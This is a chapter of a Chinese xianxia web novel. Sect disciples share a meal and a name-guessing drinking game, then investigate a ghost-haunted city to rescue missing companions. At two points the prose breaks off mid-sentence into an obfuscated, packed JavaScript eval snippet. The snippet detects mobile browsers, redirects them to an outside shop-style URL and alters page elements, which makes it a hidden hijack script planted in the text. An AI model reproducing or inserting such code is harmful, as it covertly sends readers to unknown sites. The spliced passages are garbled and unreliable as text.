“谁知道呢?书卷上都在传,酒馆里也流传着各种说法,都说掌门欺骗了林前辈。” 尽管她们自认为已经走得很远,但徐听晚还是隐约听见了这番对话。 她要的就是这个效果,逐步削弱林流华与徐君彦的势力,让他们相互制衡,最终自己坐收渔利。 “月平,你觉得我很高冷吗?”徐听晚淡然一笑,问道。 她虽不喜喧嚣,但自觉也不至于给人以高冷的印象。她之所以避开热闹,只是不愿卷入不必要的麻烦之中。 “大师姐并不高冷,只是有着明确的边界感和距离感。”江月平轻声回答,声音柔和。徐听晚闻言,微微侧身,似乎有些不习惯被人如此看透,这种感觉让她缺乏安全感。 察觉到徐听晚的不适,江月平便不再继续这个话题,转而问道:“大师姐,那你觉得我呢?” 徐听晚先是点头,随即又摇头,笑道:“你是个外表清冷,内心善良的好人。” 江月平凑近徐听晚,轻声说:“大师姐,别离我太远,我都听不清你说话了。” “小骗子。”徐听晚轻声回应,任由她靠近。她心中矛盾重重,既不希望小师妹离得太近,却又感到一丝温暖,并无厌烦之意。 “月平,我看不透你。”徐听晚转头,目光直视江月平的眼睛。 “大师姐,若看不透,猜不透,那便直接问我吧。只要大师姐问,我定如实相告。”江月平清澈的眼眸中藏着深邃的情感,每当与徐听晚交谈时,她的声音总是变得格外温柔。 徐听晚疑惑地盯着她,最终却什么也没问。 两人顺利抵达了银月城中温乐天提及的那家饭店,推开包间门的瞬间,便见温乐天与柳清云正争论得不可开交。 两人并肩而立,目睹此景,徐听晚自然而然地找了个舒适的位置坐下,饶有兴致地在一旁观战。 江月平则迈步向前,本以为她是要去劝和,不料她只是轻轻拿起两人面前的果盘,转身走到徐听晚身旁,细心地为她剥起葡萄来。 她将一颗颗晶莹剔透的葡萄放入碗中,随后递给了徐听晚。 “我就买了莲子清,你爱喝不喝。咱们是聚在一起玩乐、聊天的,喝烈酒做什么?喝烈酒没一会儿就得散了。”柳清云皱着眉头说道。 温乐天摇了摇头,反驳道:“莲子清太甜了,换成果子酒都比它强。” 柳清云往椅背上一靠,摊了摊手:“那你自己去买呀。” 徐听晚轻笑一声:“想喝什么就买什么呗,我反正无所谓。乐天,你要是想喝别的酒,就自己去买。” 江月平在一旁默默点头,又将剥好的橘子上的白丝仔细剔除,再次递给徐听晚。徐听晚接过橘子,一分为二,将其中一半递回给江月平。 “自己买就自己买,我还要把那个酒庄都买下来呢。”温乐天轻哼一声,竟直接从窗户跃了出去。 柳清云一脸嫌弃地看着他的背影:“有正常路不走,非得乱翻。” 恰好此时,石观明走进了包间。 “我刚才看见温乐天了,放着正常路不走,净瞎折腾。” 徐听晚笑着看了看石观明和柳清云,两人相处久了,举手投足间竟有几分相似。 她似乎想到了什么,侧头看向江月平。感受到她的目光,江月平微微一笑,温柔地回望。徐听晚收回视线,继续享受着这难得的闲暇时光。 饭菜已悉数摆上桌,然而温乐天仍未归来。 柳清云轻蹙眉头,正欲用书卷传递讯息催促温乐天,未料消息尚未发出,窗户却骤然被推开。 “小爷我回来了!” 温乐天手提一坛美酒步入,柳清云见状,收回书卷,眉宇间仍带着几分不悦:“一坛酒买这么久。” 温乐天将酒妥善放置,随后悠然坐下,跷起二郎腿,摇头晃脑道:“非也非也,我不仅购得了这坛佳酿,更是将整个酒庄一并买下,往后若想饮酒,只需吩咐一声,自有人从酒庄送来。” 柳清云嘴角微微抽搐,无奈道:“你身为黑阁阁主,行事不该如此张扬吧?” 温乐□□他眨了眨眼,嘻嘻笑道:“所以我戴着你的人皮面具,用你的名义买的呀~” “你可真‘机智’啊。”柳清云扯了扯嘴角。 石观明见状,轻轻拍了拍他的肩膀,劝慰道:“罢了。” 徐听晚则望着柳清云,浅笑道:“如此岂不更好?往后咱们想喝什么酒,都得听你的呢。” 柳清云闻言,心中一动,双眸一亮,的确如此啊。 此番,轮到温乐天面露悻悻之色了。 一张宽敞的长桌旁,徐听晚作为大师姐,自然而然地坐在了主位之上,其余人则随意择座。江月平不动声色地选择了靠近大师姐右侧的座位,而石观明则坐在了左侧。温乐天和柳清云则分别坐在了这两人的另一侧。 徐听晚率先举起了筷子,众人似乎都在等待她这一举动。她已经很久没有品尝过温热的食物了,这一刻,她仿佛看到了过去的自己——那个坐在烤肉店里,与朋友们欢声笑语、畅谈人生的自己。 回想起那时,冬天虽寒,夏天虽热,但她总能真切地感受到四季的温度。而现在,她对温度的感知已变得迟钝,有时甚至怀疑自己是否还拥有生命的热度。 “大师姐,你最近头疼的症状还频繁吗?”柳清云浅尝辄止,便放下了筷子。他向来不太能吃辣,而这家餐馆的菜肴偏辣。 徐听晚同样不太能吃辣,于是也放下了筷子,略作思索后答道:“最近没有。” 柳清云闻言点了点头,关切地说:“那就好。止痛丹还是要尽量少吃,除非万不得已。” 徐听晚闻言,轻轻点了点头。 温乐天微微皱眉,开口说道:“这些菜味道不错,你们怎么就只吃这么一点呢?” 徐听晚笑靥如花,问道:“乐天,你似乎很偏爱辛辣食物?” “确实喜欢,难道你们不喜欢吗?”温乐天反问道。 江月平淡淡回应:“还好,不算特别偏爱。” 石观明同样附和道:“我也是,还好。” 柳清云与徐听晚交换了一个眼神,心领神会的柳清云站起身,一把扯住对面温乐天的衣领,略带责备地说道:“我和大师姐都不吃辣,你倒是好,也不问一声,全点了辣菜。” 徐听晚轻轻摆了摆手,示意无妨:“没事,我们如今已不必依赖食物,主要是想聚在一起叙叙旧。” 柳清云瞪了温乐天一眼,不再言语,转而拿起一坛莲子清酒,逐一为大家斟满。 温乐天自知理亏,故而默不作声,有些愧疚的看着徐听晚。 徐听晚从袖中取出一叠洁白无瑕的空白符纸,笑吟吟地提议道:“我们不妨来玩个小游戏,如何?” 温乐天闻言,立刻放下了手中的筷子,眼中闪烁着兴奋的光芒,急切地问道:“什么游戏?我要参加!” 柳清云亦是满脸期待地望向徐听晚,等待着她的回答。 徐听晚微微一笑,解释道:“我在符纸上写下一个人名,然后大家可以轮流向其他人提问关于这个人名的问题,被问者只能回答是或不是。每一轮只能问一个问题,第一个猜出人名的人无需饮酒,第二个猜出的人则需喝一杯,以此类推。”说着,她从手中抽出五张符咒,逐一分发给了众人。 “这个游戏听起来颇有意思。”温乐天端正了坐姿,轻笑一声,继续说道,“赢了,也要喝。” 徐听晚看着温乐天,轻轻扬起眉毛,说道:“那便随你。”接着,她进一步说明规则:“左边的人需在符纸上写下右边人的名字,然后用灵力将其定在他的额头上。” 徐听晚的目光转向右侧的江月平,略一思索,便在符纸上写下了“孟鹤”二字。虽然她所看的小说中,这两人目前尚未产生情感纠葛,但她记得简介中提到,他们乃是这部小说的男女主角。 石观明则将写好的人名贴在了徐听晚的额头上。 徐听晚环视四周,只见江月平给温乐天写的是“谢止寒”,温乐天给柳清云写的是“梅遇卿”,柳清云给石观明写的则是“徐君彦”。然而,她自己额头上的名字,却无从得知。 “需注意的是,所写的名字必须是对方所认识的。”徐听晚轻声提醒道。 众人相互对视一眼,纷纷点头表示认识。 第一轮提问正式拉开序幕,首先由徐听晚率先发问,随后按照她的右侧顺序依次进行。 “我头上是女子吗?”徐听晚目光扫过众人,轻声问道。 “是。”众人迅速回应,紧接着轮到了江月平。 “可是女子?”江月平问道。 “不是。”听闻此言,江月平不禁一愣,大师姐为她写下的是一个男子的名字。 随后,轮到了温乐天。 “是女子吗?”温乐天好奇地问道。 “不是。”众人再次给出了否定的答案。 温乐天喃喃自语:“男子?” 柳清云微微皱眉,略显不满地说:“哎,大家问的问题都如出一辙,真是无趣至极。”他抬头望向天花板,转而问道:“我所提之人,可是宗门中人?” “非也。”众人再次齐声回答。 轮到石观明时,他提出了一个颇为尖锐的问题。 “此人与我关系可好?” 这个问题一出,众人皆是一愣,一时之间竟无言以对。温乐天沉思片刻后,轻笑一声道:“想来不好。” 柳清云闻言,也点了点头,附和道:“确实不会太好。” 看着众人的反应,石观明心中已有了几分猜测,他头上的名字,恐怕不是什么好人。 第一轮提问结束,温乐天盲目猜了个梅问君,结果却猜错了,只好自罚一杯酒。 柳清云看着温乐天,调侃道:“你莫不是想喝酒,才故意猜错的吧?” 除了温乐天之外,无人猜测。于是,第二轮提问随即开始。 徐听晚用手撑着头,轻声问道:“是剑修吗?” 柳清云的目光转向了她,而第一个给出答复的是温乐天,他斩钉截铁地说:“是。”尽管柳清云脸上露出了些许犹豫之色,但在看到温乐天点头确认后,他也跟着轻轻颔首。 徐听晚的嘴角微微上扬,她已然心中有数。 相比之下,石观明和江月平的反应则显得颇为平静,从他们的神情中难以捕捉到任何线索。此时,她只能依靠性格浮夸的温乐天和心思单纯的柳清云。 通过观察这两人的表情变化,徐听晚心中大致有了判断。她推测,自己头顶的名字所对应之人,应该是一位修剑的双修修士。在她认识的人中,符合条件的只有她和小师妹。而刚才当她提出这个问题时,柳清云第一个看向了她,因此她断定,自己头顶的名字正是她自己的。 接下来轮到江月平提问。 “他,是剑修吗?” “是的。” 江月平在心中暗自思量,剑修男子,大师姐会写下谁的名字呢? 随后是温乐天提问。 “他的年纪,是不是比我大?” “是的。” 温乐天紧锁眉头,开始回忆小师妹和他所认识的、比他年纪大的男子。 接着轮到柳清云。 “她是女子吗?” “是的。” 听到这个答案,柳清云不禁皱起了眉头,开始思索起来。这位并非宗门之人的女子,究竟会是谁呢?温乐天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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关于孟鹤的年龄,徐听晚是从原著小说中得知的,她清晰地记得小说开篇便提及,孟鹤乃是亲传弟子中最为年长的一位。 江月平的眼眸轻轻垂下,思绪纷飞。在这修仙界,比她年长的男剑修,大师姐自然认识的不多,那么,她所熟识的、年纪或许比她稍长的男剑修,唯有孟鹤一人。 毕竟,在修仙界,年龄并不重要,入门时间决定辈分,实力决定地位。而她,虽在亲传弟子中年纪偏大,更是五人中最大的,却依旧是小师妹。 轮到温乐天猜测时,他略显紧张地问道:“这位剑修,是我们宗门内的吗?” “非也。”徐听晚简短回答。 闻言,温乐天不禁长叹一声,显得有些失落。 柳清云见状,忍俊不禁,笑道:“小师妹,你这写得可真是妙极。” 徐听晚带着几分偏心的意味,目光紧紧锁定在江月平身上,手指轻轻敲打着白色的瓷杯,又下意识地扯了扯衣角,似乎在暗示着什么。 她暗示江月平那人身着一袭洁白的宗服。 江月平轻轻垂下眸子,嘴角勾勒出一抹浅笑,仿佛已有所悟。 “需要猜测吗?”徐听晚再次提问,语气中带着一丝期待。 两人皆沉默不语,温乐天沉思片刻后,试探性地说道:“我猜,是孟鹤吧?” 徐听晚轻轻摇头,随即侧头看向江月平,眼神中充满了暗示。 然而,江月平只是平静地看着她,心中早已明了答案。她知晓那人是谁,却故意不说,只盼大师姐能多关注她一些,多偏爱她一些。 又经过两轮猜测,两人依旧未能猜出头顶之人。 温乐天烦躁地叹了口气,无奈地说道:“我认输,快告诉我是谁吧。” 柳清云捂着嘴,强忍着笑意说道:“你自己取下来看看,不就知道了?” 温乐天郁闷地取下符咒,只见上面赫然写着“谢止寒”三个大字,他瞬间像泄了气的皮球一般。这几日,谢止寒每天都会用书卷向他问安否,他都一一回复,甚至开始考虑是否要制作一个自动回复书卷消息的灵器了。 徐听晚笑着为江月平取下头顶的符咒,只见上面写着“孟鹤”二字。江月平故作惊讶,笑道:“真是没想到呢。” 徐听晚看了她一眼,心中明白两人如今确实少有交集。她轻声说道:“那我下一局给你写简单点吧。” 江月平轻轻点头,应了一声,显得格外乖巧。 柳清云眨了眨眼,似乎有些不敢相信自己的眼睛。 五人共玩了数局游戏,期间畅饮无数,直至夜幕低垂,他们便借着皎洁的月光,结伴步行返回宗门。 徐听晚步入院落,轻轻合上院门,随后倚门而立。她的脸颊因过量饮酒而泛起淡淡红晕,心中满是难得的愉悦与放松。 雪花依旧在空中翩翩起舞,她嘴角上扬,轻盈地踏在雪地上,留下一串串足迹。起初,她试图用这些脚印勾勒出一个圆圈,但随后忘却了原本的意图,便随心所欲地绘出了五个花瓣。完成这一杰作后,她绕过这朵雪地中的“花”,缓缓步入屋内。 屋内漆黑如墨,她施展了一个清洁术,让屋内焕然一新。随后,她脱下外衣,迷迷糊糊地倒在床上。 咚咚咚,一阵敲门声骤然响起,紧接着,江月平的声音传了进来。 “大师姐,我的屋子还没收拾妥当,今晚能否在你这里借宿一晚?”江月平的声音中带着几分恳求。 徐听晚闻声起身,打开门,拉着江月平走了进来,笑道:“小骗子,你那边的屋子分明已经收拾好了,别以为我不知道。” “那大师姐为何还让我进来?”江月平的眼神略显晦暗,她坐在床边,而徐听晚则趴在床上,轻笑一声道:“你又不会对我怎样,无所谓啦。” “大师姐,你似乎喝醉了。”江月平提醒道。 徐听晚闻言,指着江月平的脸笑道:“你不也一样吗?” 随后,她起身趴在江月平的肩膀上,半开玩笑地说道:“小师妹,你该不会喜欢女子吧?” 江月平沉默不语,徐听晚轻笑一声,道:“开玩笑的,别往心里去。若是无事,便回去休息吧,想和我同睡也行。” 说完,她重新躺回床上,并向里挪了挪,为江月平留出位置。 “大师姐,我是来和你说晚安的。”江月平轻声说道。 徐听晚闭着眼睛,轻轻应了一声:“晚安。” “晚安。”江月平回应后,徐听晚便听到了脚步声和关门声。 翻墙回到院落的江月平深吸一口气,无奈地笑了笑。若是大师姐知道她并非女子,这份最基本的信任是否会被击溃?可明明是大师姐先靠近的她…… 若是大师姐知晓留影石之事,是否会厌弃她? 随着冰雪消融,春天悄然而至,转眼间已至春末。啸海兽宗发来紧急求助,西南城发生了大规模的失踪事件。代理掌门叶含山迅速安排石观明和温乐天两人前往协助调查。 两人前往两周后,徐听晚在练剑时,手中的书卷突然亮起。 是石观明传来的消息,只有一个字:“救。” 看到这个字,徐听晚心中涌起一股强烈的不安,她意识到,自己必须亲自前往一趟。 48.恶鬼封城 石观明与温乐天已彻底失去联系。 徐听晚向叶长老详尽说明情况后,便准备动身前去一探究竟。 她步出门外,只见江月平与柳清云正站在那里静静地等候着她。 柳清云眉头紧锁,语气中带着几分坚决:“大师姐,你可别想抛下我们独自前往。” “云舟速度太慢,我们还是御剑前往吧。”徐听晚瞥了一眼柳清云与江月平,嘴角微微上扬,说道,“四师弟,你与我同行。” 听到这话,柳清云心中有些感动,若是与小师妹共乘一剑,难免会觉得尴尬。 而江月平的脸色瞬间变得冷漠,她独自飞在前面,徐听晚紧随其后。柳清云好奇地从徐听晚背后探出头,望着前方飞行的小师妹,疑惑道:“我怎么感觉小师妹好像生气了?” 徐听晚压低声音道:“知道你还说。” 两人在江月平身后小声交谈着,江月平见状放缓了速度,与徐听晚并肩而行。她侧过头,嘴角勾起一抹微妙的笑容,盯着柳清云道:“四师兄和大师姐在聊些什么呢?我也想听听。” 柳清云只觉得她的笑容十分勉强,只好轻声解释道:“小师妹,我们没聊什么,只是说今天的天气真好,哈哈,真好。” “确实挺好的,”江月平话锋一转,“四师兄连站都站不稳吗?还需要扶着大师姐的胳膊?” 柳清云干笑了两声,放开了手:“能站稳,当然能站稳。”他心中暗自嘀咕,怎么感觉小师妹今天对他的态度如此刻薄。 徐听晚听着两人的对话,感觉江月平的话语中带着几分茶言茶语的味道。 “我们快到了。”徐听晚提醒道。 望着前方的西南城,徐听晚不禁微微蹙眉,只见城外遍地都是妖兽的尸体。 她并未直接进城,而是在这些妖兽尸体前停下了脚步。 柳清云环顾四周,垫着手帕仔细查看了一番后说道:“这些妖兽并非死于人之手,而是自相残杀所致。” “自相残杀?”徐听晚点了点头,“我们进去吧。” 刚踏入城中,本应喧嚣繁华的主城区却异常地沉寂,仅有几只黑色的鸟儿孤零零地站在屋顶,不断发出撕心裂肺的鸣叫,那声音尖锐而凄厉,令三人的眉头不禁微微蹙起。 眼前的情景显然有些出乎他们的预料。 一股强烈的不安感骤然涌上徐听晚的心头,她急忙转身试图离开,却发现城门竟无法打开,御剑飞行也似乎被某种力量所阻。 徐听晚回想起刚才进城时的情景,连守门的护卫都不见踪影,她当时还天真地以为他们是被调去处理其他事务了。 柳清云见状,不禁开口问道:“我们要不要分开寻找线索?” 徐听晚此刻心情烦躁,懒得再费唇舌解释,直接说道:“如果不想死,就离我们近点。” 说着,她随手甩出一张上品爆裂符,企图试探护城阵法的威力,却发现那阵法竟纹丝不动,毫无影响。 经过一番深思,徐听晚的脑海中突然浮现出前些天在宗门藏书阁中看到的一本书,那本书对鬼修、恶鬼以及鬼界的描述极为详尽。那本书被放置在藏书阁的三楼,一个只有亲传弟子、长老和掌门才有资格涉足的地方。 藏书阁共有四层,第四层是长老和掌门的专属领地,第三层则是亲传弟子的学习之所,第二层为内门弟子所用,第一层则对外开放给外门弟子。 五行道宗的藏书阁,作为宗门世家中规模最大、记载最为丰富的地方,拥有着数万年的深厚底蕴。仅仅是三楼,便收藏了许多关于上古时期的珍贵书籍,这些书籍在别的宗门和家族中,都是掌门和家主才能查阅的记录。 “障眼法。”她轻声吐露。 柳清云一脸困惑:“障眼法究竟是何物?” 徐听晚紧握他的臂膀,拔出判决剑,剑尖微颤,“闭上眼。”柳清云紧盯着那寒光闪闪的判决剑,眉头紧锁,最终还是乖乖闭上了眼。刹那间,他感到手臂上一阵刺痛传来。 “啊,大师姐,你为何伤我?”他猛地睁开眼,却发现手臂上光洁如初,并无任何伤痕。 徐听晚轻声解释:“不过是用指甲轻划罢了。” 柳清云恍然大悟,而江月平则若有所思地环顾四周的灵力波动。 “这便是障眼法。”徐听晚眉头紧锁,语气沉重。 真是棘手,竟被恶鬼蒙蔽了双眼,唯有恶鬼才会施展如此大范围的障眼法。 徐听晚提醒道:“大家务必小心。” 江月平指向那些黑鸟:“这些鸟身上带有灵力。”闻言,徐听晚抬头望去,黑鸟们依旧吱呀乱叫,声音尖锐刺耳,仿佛要将喉咙撕裂。 “我们四处查看一下,切莫轻信眼前所见。”徐听晚转头,目光炯炯。 “大师姐……”江月平及时捂住柳清云的嘴,三人死死地盯着身后那个手持断刃、身高两米的恶鬼。 恶鬼的双目空洞,只剩下两个漆黑的窟窿。 突然,街头传来一阵诡异的笑声,那笑声不男不女,比黑鸟的嘶鸣更加恐怖。 闻声,恶鬼提起砍刀,猛地朝他们冲来。三人回头,只见发出笑声的人身披黑纱,黑纱如夜色般铺展在地面上。 徐听晚迅速行动,一手揪住柳清云的后衣领,一手抓住江月平的手腕,向一旁躲避,同时用力将两人拽向前方。然而恶鬼速度极快,她的背上瞬间出现了一道巨大的擦伤,鬼气缭绕其上。恶鬼感受到鬼气,猛地回头,再次向三人扑来。 黑鸟发出尖锐的鸣叫,恶鬼似乎受到干扰,恍惚了一瞬,为三人赢得了逃跑的机会。 江月平一把将柳清云扔进旁边屋子的二楼,随即抱起徐听晚,朝另一个方向狂奔而去。 柳清云惊慌失措地向上爬去,而恶鬼则在下方胡乱挥舞着断刃。 发丝伴随着诡异的阴风在空中飘荡,一层厚重的黑雾缓缓笼罩了西南城的上空,黑雾之中隐约闪烁着红光,将这整座城池卷入了一片昏暗与不安之中。 血腥的气息骤然间变得浓烈,地表竟开始生长出断手,她们别无他法,只能仓皇逃至屋顶,一旦落地,便会被那些诡异生长的手紧紧攥住。 “啧,虽然心里清楚这一切不过是幻象,却还是无法摆脱其影响。”徐听晚紧锁眉头,将小刀递给了江月平,“把我后背那块被鬼气侵蚀的伤口割掉,它已经被鬼气污染,不仅无法愈合,还会引来更多的恶鬼。” 江月平的手指微微颤抖,但她还是勉强自己照做了。 徐听晚紧咬牙关,一声不吭地忍受着疼痛,割完肉后,迅速服下了上品止痛丹和止血丹,伤口这才缓缓开始恢复。 她迅速使用清洁术更换了衣物,无论是她身上的浅黄色衣裳,还是江月平的青色衣裙,在这昏暗的红光映照下,都仿佛失去了原有的色彩,变得如同枯骨般苍白。 她试图用书卷联系柳清云,询问他的情况,却发现书卷根本无法使用。 徐听晚沉下心来细细思索,或许并非书卷失效,而是她们已经失去了正确使用书卷的能力。 绝望的气息弥漫在整个城池之中,石观明和温乐天很可能已经陷入了危险。 啸海兽宗的掌门修为已达化神中期,门下弟子众多,即便是再强大的恶鬼,又怎能悄无声息地突破整座城市的防线? 她不愿再想下去,现在最重要的是如何突破这障眼法。该死,那本关于鬼修的书籍,她还未曾完全读完。 江月平凝视着空中漂浮的灵力,它们如同受到指引般,纷纷朝着一个方向汇聚。 她望向远处的断崖,紧握着徐听晚的手,迅速向那边赶去。 “你要去哪里?清云怎么办?”徐听晚满脸焦急地问道。 江月平耐心地解释道:“我刚才已在四师兄身上放置了跟踪符,我们现在去找他。而且,那边的断崖有灵力波动。” 徐听晚闻言点了点头,两人很快便在一个衣柜中找到了柳清云和万安。 “你怎么会在这里?”徐听晚疑惑地看着万安。 万安一看到她的脸,仿佛世界崩塌一样,他转身背对着众人,喃喃自语:“天要亡我啊。” “别胡说,跟我们走。”徐听晚说着,将万安从衣柜中拽了出来,四人一同向断崖奔去。 断崖之下漆黑一片,什么都看不见。万安似乎有所感应,惊恐地回头张望,他身旁的女鬼尖叫着提醒:“有鬼气!” 万安声音颤抖地说:“我也看到了……”“你说什么?”柳清云没听清楚。 “那个恶鬼来了。”万安再次说道。 徐听晚惊讶地看着他,他能看见鬼气? 江月平目光坚定地看着断崖,果断说道:“跳下去。” 柳清云惊呼:“什么?” 徐听晚不再多言,一脚将柳清云和万安踹了下去,随后自己也纵身一跃,江月平紧随其后。 有什么好犹豫的,若是不对,横竖都是一死,不如搏一搏。 四人一同落入一块寒潭之中,徐听晚呛了几口水,她抓住下方的柳清云,将他奋力扔向水面,随后自己也挣扎着爬了出来。 万安也被江月平以同样的方式救了出来。 柳清云揉了揉脑袋,委屈地说:“大师姐,我好想哭。” “我知道你想哭,但你先别哭。”江月平安慰道。 万安不由自主地往旁边蜷缩,一群红眼双头狼自他头顶猛然跃下,张开血盆大口,眼看就要将他吞噬,幸而距离最近的江月平眼疾手快,瞬间挥剑斩断了它们的攻势。 鲜血四溅,瞬间染红了万安的脸庞,他双手颤抖,紧紧地抱住自己,恐惧与无助溢于言表。 化神中期修士的强大气息骤然散开,那些躲在暗处的窥视者感受到这股威压,纷纷退避三舍。 山崖之上,终于恢复了平静,只剩下水珠滴落的清脆声响。 徐听晚迈步走到万安面前,语气平和地问道:“说说吧,到底发生了什么事情?我们是来救你们的。” 万安抬手擦了擦睫毛上沾染的血珠,柳清云误以为他被吓哭了,不禁皱眉劝慰道:“道友,你别哭,慢慢说,我大师姐不凶的。” 万安闻言,又气又急,辩解道:“我没哭,是擦血!擦血!”他本想反驳柳清云关于徐听晚的误解,但一抬头看到徐听晚,却突然语塞。 徐听晚见他这副模样,不禁开口问道:“我很凶吗?” 万安连忙颤抖着摇了摇头。 徐听晚皱了皱眉,催促道:“那就快说啊。”她的声音虽不大,却带着一丝不容置疑的威严,语气里满是烦躁。 她此刻确实心急如焚,这恶鬼异常难缠,根据古籍记载,想要将其消灭,需要耗费大量灵力设立一个以烈火符为阵心的主离卦阵法,引发天火才能将其彻底摧毁。 还好她当初在翻阅那本记载鬼修的古籍时,对这个阵法多留意了一眼。 万安结结巴巴地开口:“我……我原本接了一个任务,来到了西南城,可当我抵达时,却发现这里的人都已经死了,而非失踪。” 徐听晚紧紧盯着他的眼睛,语气坚定地问道:“你能看见他们死后的魂魄,对不对?” 万安瞪大了眼睛,满脸惊愕,她怎么会知道? “你在疑惑我怎么知道的?这不重要。我不会泄露出去,也不会怀疑你是鬼修。但你现在必须听我的,我们必须找到啸海兽宗的其他人。” 万安慌忙点了点头,继续说道:“我通过那些鬼魂的指引,带着一些人找到了失踪之人的尸体。没想到,突然出现了恶鬼,我们就被困在了那里。石道友让我自己躲好,他和温道友去找出路了,还有沧澜符宗的司空道友和王道友,也一同去找路了。就我们五个人活了下来,其他弟子都被恶鬼吃掉了。” 说完,他突然想起了什么,急忙拿出一颗黑子:“这是温道友给我的。” 他拿出黑子的瞬间,一旁的湖底隐约泛起了光芒。 徐听晚警觉地转头看向湖底,江月平则感受到了一丝灵力波动,她毫不犹豫地一跃而下。 看见她如此冒失,徐听晚猛地站起身,伸出手想要阻止,心脏也猛地紧张起来。 当江月平拿着什么东西慢慢上来时,徐听晚才松了一口气,有些不解地反思自己刚才过于紧张的想法。 那是一只木制的小鸟,身上绑着一张纸条,嘴里还含着一块黑子。 徐听晚打开纸条,一眼便认出了字迹:“虽然没有署名,但肯定是温乐天写的。他们找到了这里,准备用这个告知你过来,但他们应该遇到了什么意外。” 柳清云接过纸条,好奇地问道:“大师姐怎么知道是四师兄写的?我看看。” 他接过纸条,一脸嫌弃地说:“确实是他写的,很难想象这是用手写的字。” 江月平看向一旁零零散散的血迹,沉声道:“这里应该发生了一场激烈的恶斗。” 徐听晚看着万安,问道:“你知不知道绕过主城区街道到达啸海兽宗的路?” 万安皱眉思索了一番,然后摇了摇头:“我并非啸海兽宗弟子,对此并不熟悉。但我能看鬼气,应该能带大家绕过去。” 众人烘干身上的衣服后,便跟着万安绕过主城区街道,前往啸海兽宗。 徐听晚缓步至万安身旁,轻声问道:“石观明与温乐天可还曾与你透露过其他信息?”毕竟,眼下他们手中掌握的线索寥寥无几,关于敌人的消息更是如石沉大海,这让她心中难免生出几分焦虑。 万安微微眨眼,略作沉思后答道:“石道友性情温和,他叮嘱我要多加小心,还特别提醒我需提防宗门中的某些人。” 徐听晚闻言,眉头紧锁,心中暗道,此番事态恐怕非同小可,石观明必定是有所察觉。 万安接着说道:“那日我们前去寻找尸体时,温道友与混元丹宗的弟子发生了争执,他们质疑我言辞的真实性,而温道友则挺身而出,为我辩护,说他相信我。温道友与石道友,皆是难得的善心之人。” 徐听晚眉头依旧紧锁,嘴角勾起一抹苦笑,追问道:“那你当年为何一见我便逃之夭夭?” 万安沉默片刻,低头轻笑一声,答道:“被你吓到了。” 徐听晚眉头皱得更紧,不解地问道:“我有何可怕之处?” 万安眨了眨眼,解释道:“当时我正与鬼魂交谈,你突然出现,我便被吓到了。” 他的回答滴水不漏,徐听晚也无从反驳。 一旁的女鬼收敛了笑容,轻叹一声。万安望向她,她重新展露笑颜,柔声道:“安安,你只需顾好自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228608|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便是。” 万安不敢贸然行事,毕竟徐君彦是何等人物,谁会轻易相信一个疑似鬼修之人的言辞? 徐听晚抬头望向天空,陷入沉思,她忽觉一阵无力,因为她深知,即便她将所有事情公之于众,也未必会有人相信真相,毕竟她和石观明都无法证实他们所看到的一切。 她轻声说道:“无妨,不愿说便不说了。”此时,他们已到达目的地,护宗阵法正阻挡着鬼气的蔓延。 他们是从后山进入的,被侍卫引领向了另一个方向,其他弟子见状,都自觉地与他们保持着一定的距离。 抵达目的地后,他们发现了躺在地上、陷入昏迷的石观明和温乐天,以及在一旁站立、浑身伤痕累累的王若拂和司空瑾。 此刻,他们被一根醒目的红绳阻拦在宗门广场的一隅。 守卫之人面无表情地注视着他们,毫无情绪波动。 柳清云从自己的储物袋中取出衣物,铺在地上,让两人得以坐下休息。 徐听晚挺身而出,站在最前方,质问道:“为何我们不能进入?”她抬头望向远处台阶上聚集的众人。 孟鹤也在其中,他眉头紧锁,解释道:“如今鬼气肆虐,一旦鬼气侵入全身,人便会失去理智,伤人害己,所以……” “所以就不能给我们安排一个房间吗?”徐听晚平静地反问道。 孟鹤身旁的月恒眉头微蹙,开口请求道:“就给他们一个房间吧。” 其他亲传弟子沉默不语,纷纷将目光投向身后的啸海兽宗宗主齐年和混元丹宗掌门常德。 齐年眼神迷离,轻咳两声,五名亲传弟子连忙上前搀扶住他。 常德挺身而出,说道:“我认为你们最好还是不要进来,毕竟你们的修为都不低,万一你们在宗门内突然被鬼气操控,齐年又受了重伤,而我只是个丹修,那其他人恐怕连逃跑的机会都没有。” 混元丹宗的五位亲传弟子在一旁纷纷点头附和,孟鹤虽然皱眉,却也无言以对。月恒欲言又止,最终被孟鹤制止。 徐听晚微微一笑,说道:“好吧,不进去就不进去。但我要提醒你们,如果我被鬼气控制,你们可都得小心,我可不会像之前在秘境里那样手下留情。” 她拔出判决剑,将其插在那名看守侍卫身前的地面上,接着说道:“常德掌门,您是从哪里听说鬼气可以操控修士的?我记得鬼气只能操控普通人吧?还是说……” 常德垂眸,打断了她的话,声音低沉:“小友,请勿胡言乱语,公道自在人心。我所做的一切都是为了大家着想。” 江月平眯起眼睛,准备拔剑斩断束缚自己的红绳,却被徐听晚制止了。 她朝江月平摇了摇头,面无表情地盯着那些人道:“等你们都死了,我再来解决这个恶鬼。”说完,她冷笑两声,迅速在周围布下了阵法。 众人都没想到她会如此直言不讳,连一向为她打抱不平的月恒都愣住了,显然被她毫不掩饰的恶意所震惊。 常德的脸色瞬间变了,冷哼一声,转身离去。 徐听晚迅速设立起一道灵力屏障,将外界的声音隔绝开来,外界之人只能隐约窥见他们模糊的动作轮廓。 “大师姐,二师兄和三师兄的情况相当危急。”柳清云紧锁眉头,忧心忡忡地说道。 尽管他已经细致地处理了二人身上所有的伤口,却依然无法查明他们昏迷不醒的缘由。 